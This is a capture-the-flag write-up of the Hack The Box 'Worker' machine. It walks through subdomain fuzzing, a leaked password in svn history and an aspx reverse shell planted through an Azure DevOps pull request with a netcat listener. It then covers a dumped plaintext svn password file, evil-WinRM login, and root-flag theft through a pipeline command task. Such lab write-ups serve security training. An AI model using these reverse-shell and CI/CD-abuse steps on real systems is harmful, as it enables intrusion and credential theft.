Welcome to this new writeup on the Worker BOX, an interesting machine vulnerable through the Azure Devops system, but I don't want to spoil the surprise, so let's get started!

in7rud3r@Mykali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)$ sudo nmap -A -T4 10.10.10.203
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-21 19:48 CEST
Nmap scan report for 10.10.10.203
Host is up (0.091s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open  svnserve Subversion
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   36.41 ms  10.10.14.1
2   125.18 ms 10.10.10.203

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.82 seconds

Two ports: 80 for the HTTP portal and 3690 for the svnserver (nice memories). On the port 80 a classic home from the IIS Web Server, so the real portal should be somewhere and I suppose it will be not so simple, probably I have to search for subdomains.

Before to start with a complex subdomain bruteforce investigation, I try with a simple scan for subfolders with dirb:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)$ dirb http://10.10.10.203

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Aug 22 15:12:36 2020
URL_BASE: http://10.10.10.203/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.203/ ----
==> DIRECTORY: http://10.10.10.203/aspnet_client/                                                                                 
                                                                                                                                  
---- Entering directory: http://10.10.10.203/aspnet_client/ ----
==> DIRECTORY: http://10.10.10.203/aspnet_client/system_web/                                                                      
                                                                                                                                  
---- Entering directory: http://10.10.10.203/aspnet_client/system_web/ ----
                                                                                                                                  
-----------------
END_TIME: Sat Aug 22 15:36:49 2020
DOWNLOADED: 13836 - FOUND: 0

Unfortunately nothing interesting, so... need to scan for the subdomain. If you remember my past articles to do that I have to turn on my personal DNS on my machine, to allow the scan to reach the correct IP address for each domain like ****.worker.htb (I suppose the standard of HTB for the domain name should be always the same). So, proceed to configure all the files for the dnsmasq service:

/etc/dnsmasq.conf

/etc/resolv.conf

/etc/hosts

Start the service:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)$ sudo service dnsmasq start
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)$ sudo service dnsmasq status
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
     Active: active (running) since Sat 2020-08-22 15:46:57 CEST; 2s ago
    Process: 11718 ExecStartPre=/etc/init.d/dnsmasq checkconfig (code=exited, status=0/SUCCESS)
    Process: 11726 ExecStart=/etc/init.d/dnsmasq systemd-exec (code=exited, status=0/SUCCESS)
    Process: 11735 ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf (code=exited, status=0/SUCCESS)
   Main PID: 11734 (dnsmasq)
      Tasks: 1 (limit: 4550)
     Memory: 3.0M
     CGroup: /system.slice/dnsmasq.service
             └─11734 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --l>

Aug 22 15:46:57 kali systemd[1]: Starting dnsmasq - A lightweight DHCP and caching DNS server...
Aug 22 15:46:57 kali dnsmasq[11734]: started, version 2.82 cachesize 150
Aug 22 15:46:57 kali dnsmasq[11734]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrac>
Aug 22 15:46:57 kali dnsmasq[11734]: reading /etc/resolv.conf
Aug 22 15:46:57 kali dnsmasq[11734]: ignoring nameserver 127.0.0.1 - local interface
Aug 22 15:46:57 kali dnsmasq[11734]: read /etc/hosts - 6 addresses
Aug 22 15:46:57 kali systemd[1]: Started dnsmasq - A lightweight DHCP and caching DNS server.

Verify that all work fine:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)$ ping something.worker.htb
PING something.worker.htb (10.10.10.203) 56(84) bytes of data.
64 bytes from worker.htb (10.10.10.203): icmp_seq=1 ttl=127 time=58.4 ms
64 bytes from worker.htb (10.10.10.203): icmp_seq=2 ttl=127 time=410 ms
64 bytes from worker.htb (10.10.10.203): icmp_seq=3 ttl=127 time=38.3 ms

And pass to wfuzz tool for the scan:

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)/attack$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://FUZZ.worker.htb --hl 31

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://FUZZ.worker.htb/
Total requests: 5000

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                 
===================================================================

000000248:   200        170 L    542 W    6495 Ch     "alpha"                                                                                                                                 
000002689:   200        31 L     55 W     703 Ch      "quote"                                                                                                                                 
Fatal exception: Pycurl error 6: Could not resolve host: m..worker.htb
Every time I use wfuzz on subdomains, the behaviour is almost always different, due to the nature of the web servers and how they have been configured, therefore, the filters applied the change from time to time, adjusting the parameters of the tool in the best way for the specific case. That's why you will find different parameters from one tutorial to another.

Seems that an alpha subdomain was found; let me insert it in my /etc/hosts file and go ahead (don't forget to restore all configuration on the file changed and stop the dnsmasq service).

I navigate the pages of the new portal, but nothing found. I decided to try to pass to investigate also on the other port: the svnserver. Searching on the internet I found some exploit and understand that is available also on metasploit-framework.

msf5 > search svnserve

Matching Modules
================

   #  Name                             Disclosure Date  Rank     Check  Description
   -  ----                             ---------------  ----     -----  -----------
   0  exploit/multi/svn/svnserve_date  2004-05-19       average  No     Subversion Date Svnserve


msf5 > use 0
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/svn/svnserve_date) > options 

Module options (exploit/multi/svn/svnserve_date):

   Name    Current Setting       Required  Description
   ----    ---------------       --------  -----------
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   3690                  yes       The target port (TCP)
   URL     svn://host/svn/repos  yes       SVN URL (ie svn://host/repos)


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.74     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/svn/svnserve_date) > set rhosts 10.10.10.203
rhosts => 10.10.10.203
msf5 exploit(multi/svn/svnserve_date) > set lhost 10.10.14.111
lhost => 10.10.14.111
msf5 exploit(multi/svn/svnserve_date) > exploit

[*] Started reverse TCP handler on 10.10.14.111:4444 
[*] 10.10.10.203:3690 - Trying bffffe13...
[-] 10.10.10.203:3690 - Exploit failed: EOFError EOFError
[*] Exploit completed, but no session was created.

It seems to be not exploitable, but I want to try to query the server with the classical commands of the svn standard.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)/attack/svn$ svn co svn://10.10.10.203 
A    dimension.worker.htb
A    dimension.worker.htb/LICENSE.txt
A    dimension.worker.htb/README.txt
A    dimension.worker.htb/assets
A    dimension.worker.htb/assets/css
A    dimension.worker.htb/assets/css/fontawesome-all.min.css
A    dimension.worker.htb/assets/css/main.css
A    dimension.worker.htb/assets/css/noscript.css
[...]
A    dimension.worker.htb/images/pic02.jpg
A    dimension.worker.htb/images/pic03.jpg
A    dimension.worker.htb/index.html
A    moved.txt
Checked out revision 5.

[...]

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)/attack/svn$ cat moved.txt 
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

Fantastic, I download an entire project without a password. In one of the file on the root folder of the project (moved.txt), I find another portal on a different subdomain (devops.worker.htb), and the folder downloaded suggest another one again (dimension.worker.htb). I added these domains on my /etc/hosts file and try to navigate.

The devops.worker.htb needs credentials to access.

The dimension.worker.htb seems to be navigable...

...and I suppose to found other subdomains again.

But also this new subdomain seems to be nothing vulnerable, it's only a static front-end.

Come back on the downloaded files from svn and try to search inside each one, but not so interesting information on them. I remember the message that provides me with the "5th revision", so I try to check for the difference in the previous version of the files.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)/attack/svn$ svn log
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 15:52:00 +0200 (Sat, 20 Jun 2020) | 1 line

Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 15:50:20 +0200 (Sat, 20 Jun 2020) | 1 line

Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 15:46:19 +0200 (Sat, 20 Jun 2020) | 1 line

-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 15:45:16 +0200 (Sat, 20 Jun 2020) | 1 line

Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 15:43:43 +0200 (Sat, 20 Jun 2020) | 1 line

First version
------------------------------------------------------------------------

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)/attack/svn$ svn diff -r 3:4
Index: deploy.ps1
===================================================================
--- deploy.ps1  (revision 3)
+++ deploy.ps1  (nonexistent)
@@ -1,7 +0,0 @@
-$user = "nathen" 
-# NOTE: We cant have my password here!!!
-$plain = ""
-$pwd = ($plain | ConvertTo-SecureString)
-$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
-$args = "Copy-Site.ps1"
-Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
\ No newline at end of file

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)/attack/svn$ svn diff -r 2:3
Index: deploy.ps1
===================================================================
--- deploy.ps1  (revision 2)
+++ deploy.ps1  (revision 3)
@@ -1,6 +1,7 @@
 $user = "nathen" 
-$plain = "wendel98"
+# NOTE: We cant have my password here!!!
+$plain = ""
 $pwd = ($plain | ConvertTo-SecureString)
 $Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
 $args = "Copy-Site.ps1"
-Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
+Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
\ No newline at end of file

Well, found something like a credential, let me try for the unique place that I found with authentication for now.

And, surprise, an Azure DevOps portal for the complete management of the CI/CD. I worked on it for some time in my past experience, I don't remember so much, but I know how to move, more or less. So I start to navigate... check... and understand how to exploit it. There's a project inside, that seems to be (in the different releases) the portals I found under the subdomains discovered before. So, considering that this infrastructure, probably, deploys on an IIS server on this machine, considering that I saw also the folder aspnet_client (during the session scan with dirb), probably, if I find a .NET web reverse shell, I can do something interesting. Searching for "aspx reverse shell" on google:

borjmz/aspx-reverse-shell
Aspx reverse shell. Contribute to borjmz/aspx-reverse-shell development by creating an account on GitHub.

Before to deploy, remember to change the right info on it.

Well, now, I tried many times before to success, because in part I didn't remember really good how to use, in part the server responds with horrible performance, in part for the resets the machine receives during the exploit and so on, anyway, these are the steps to reproduce the exploit.

Go to the File section of the Repos Menù, ensure to have selected the alpha release of the project (that I know for sure the deployment URL) and upload the aspx reverse shell

In addition to the file, specify a new branch name for the new release (you cannot publish immediately on the branch master)

The file should be visible after upload and you can proceed to "create a pull request"

Select the new branch you created during the upload, insert also a title for the pull and press the "create" button

Here, now, you should have some errors to resolve before proceed (1), but it's simple, so approve the request (2) and select a work item which assigns the pull (3) (if nothing appear on the drop-down, try to write some number like "1" and a filter should apply automatically)

When all the errors are resolved can proceed pushing the "complete" button

Confirm the operation and wait.

When finished (this step could be automatically but, probably is not configured) o to the build section of the pipeline menù and "queue" your merge request

You'll see a series of logs on screen for all the steps of the processes on the pipeline of the build

When all the steps end correctly...

...you should see your reverse shell activate launching the correct URL on the portal (remember to launch before the listener on your machine: nc -lvp 4444)

Well, long process but I hope is best described. Now, start to investigate using the shell.

c:\Users>whoami /all
whoami /all

USER INFORMATION
----------------

User Name                  SID                                                          
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415


GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                    Alias            S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
                                     Unknown SID type S-1-5-82-0   Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Nothing particular go out (I launch also a winPEAS scan, but it's really long and difficult to consult, anyway, nothing from that too). I try to search for credentials in some files, but after a lot of minutes, my search goes in timeout.

C:\>findstr /s /i robisl *.*         
findstr /s /i robisl *.*
FINDSTR: Cannot open inetpub\temp\appPools\APC21FF.tmp
FINDSTR: Cannot open inetpub\temp\appPools\APC222E.tmp
FINDSTR: Cannot open inetpub\temp\appPools\APC23A5.tmp
[...]
FINDSTR: Out of memory

Now, I start to search for the svn server, but I cannot find folders with configuration files and so on so I try to expand my search.

C:\>wmic logicaldisk get caption
wmic logicaldisk get caption
Caption  
C:       
W:       

W:\>dir
dir
 Volume in drive W is Work
 Volume Serial Number is E82A-AEA8

 Directory of W:\

2020-06-16  18:59    <DIR>          agents
2020-03-28  15:57    <DIR>          AzureDevOpsData
2020-08-23  09:57    <DIR>          Microsoft
2020-04-03  11:31    <DIR>          sites
2020-06-20  16:04    <DIR>          svnrepos
               0 File(s)              0 bytes
               5 Dir(s)  18�099�052�544 bytes free


W:\svnrepos\www>type README.txt
type README.txt
This is a Subversion repository; use the 'svnadmin' and 'svnlook' 
tools to examine it.  Do not add, delete, or modify files here 
unless you know how to avoid corrupting the repository.

Visit http://subversion.apache.org/ for more information.

W:\svnrepos\www>cd conf
cd conf

W:\svnrepos\www\conf>ls -la
ls -la
total 20
drwxr-xr-x 1 Unknown+User Unknown+Group    0 Jun 20 15:30 .
drwxr-xr-x 1 Unknown+User Unknown+Group    0 Jun 20 11:29 ..
-rw-r--r-- 1 Unknown+User Unknown+Group 1112 Jun 20 11:29 authz
-rw-r--r-- 1 Unknown+User Unknown+Group  904 Jun 20 11:29 hooks-env.tmpl
-rw-r--r-- 1 Unknown+User Unknown+Group 1031 Jun 20 15:27 passwd
-rw-r--r-- 1 Unknown+User Unknown+Group 4454 Apr  4 20:51 svnserve.conf

W:\svnrepos\www\conf>type *
type *

authz


### This file is an example authorization file for svnserve.
### Its format is identical to that of mod_authz_svn authorization
[...]
# [repository:/baz/fuz]
# @harry_and_sally = rw
# * = r

hooks-env.tmpl


### This file is an example hook script environment configuration file.
### Hook scripts run in an empty environment by default.
[...]
### This sets the PATH environment variable for the pre-commit hook.
[pre-commit]
PATH = /usr/local/bin:/usr/bin:/usr/sbin

passwd


### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday

svnserve.conf


### This file controls the configuration of the svnserve daemon, if you
### use it to allow access to this repository.  (If you only allow
[...]
# min-encryption = 0
# max-encryption = 256

So, now, I have a lot of credentials, but, listing the files on the users' folder I identify the right account: robisl. I try to launch the runas command, but my shell is not so advanced and I cannot provide the password to the command when it asks to me. So, I decide to use our best friend when we need to connect to a windows machine: evil-WinRM.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.203 - Worker (win)/attack/Azure$ sudo docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 10.10.10.203 -u robisl -p wolves11 -s '/ps1_scripts/' -e '/exe_files/'

Evil-WinRM shell v2.1

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\robisl\Documents> 

-------------------------------------------------------

*Evil-WinRM* PS C:\Users\robisl> cd Desktop
*Evil-WinRM* PS C:\Users\robisl\Desktop> dir


    Directory: C:\Users\robisl\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        8/23/2020   9:40 AM             34 user.txt


*Evil-WinRM* PS C:\Users\robisl\Desktop> type user.txt
1******************************c

And I reach the first flag. Well, after some times pass to search for new exploit or a way for the elevation privileges, I found nothing, so, after additional time to think, I come back to the DevOps Azure portal. Searching on the internet, I don't find a particular exploit, but something that provides me with some ideas.

Most of theresult talk about the pipeline of the deploy process when publish the project. Now, I am reminded that it is possible to execute custom commands in the pipeline. So, I try, but my account is not the right one.

Well, considering that I have a lot of credentials, I suggest starting by the one that I already used and I discover that I can access on the DevOps portal with the robisl account too. Now, another set of steps to reproduce the attack.

Go on the Build section of the Pipeline menù and create a new pipeline

Provide the information the process asks to you, like "where is yor project"

Select the project

Here you can select one type of configuration, I chose a python package, but there's no difference with another one, the configuration is the same

Now the custom command, the result of this action will be shown in the log during the execution of the pipeline, so I insert the command "type c:\users\administrator\desktop\root.txt" that will show to me the desired secret flag I'm trying to capture (if there's some reference to a "pool" remove that section, it could give you an error during the deployment).

When you have to "save and run" the pipeline, specify a message for the commit and remember to create a new branch (provide the name).

At the end of the process, you can consult the logs for each step, identify your section and read inside the report.

Could be the possibility that there's some error or that the pipeline has to be started manually... got to the "pull requests" section on the Repos menù and identify your request.

As done before, resolve eventually errors and complete the publish.

If all is completed in the right way, should be visible in the logs the root flag

##[section]Starting: Run a one-line script
==============================================================================
Task         : Command line
Description  : Run a command line script using Bash on Linux and macOS and cmd.exe on Windows
Version      : 2.151.1
Author       : Microsoft Corporation
Help         : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/command-line
==============================================================================
Generating script.
Script contents:
type c:\users\administrator\desktop\root.txt
========================== Starting Command Output ===========================
##[command]"C:\Windows\system32\cmd.exe" /D /E:ON /V:OFF /S /C "CALL "w:\agents\agent11\_work\_temp\ea6b81aa-33a7-478f-a8b1-aabe84276cf5.cmd""
3******************************2
##[section]Finishing: Run a one-line script

That's all.... thanks for reading! :)

The awesome GIF used in this article was crearted by dikoz.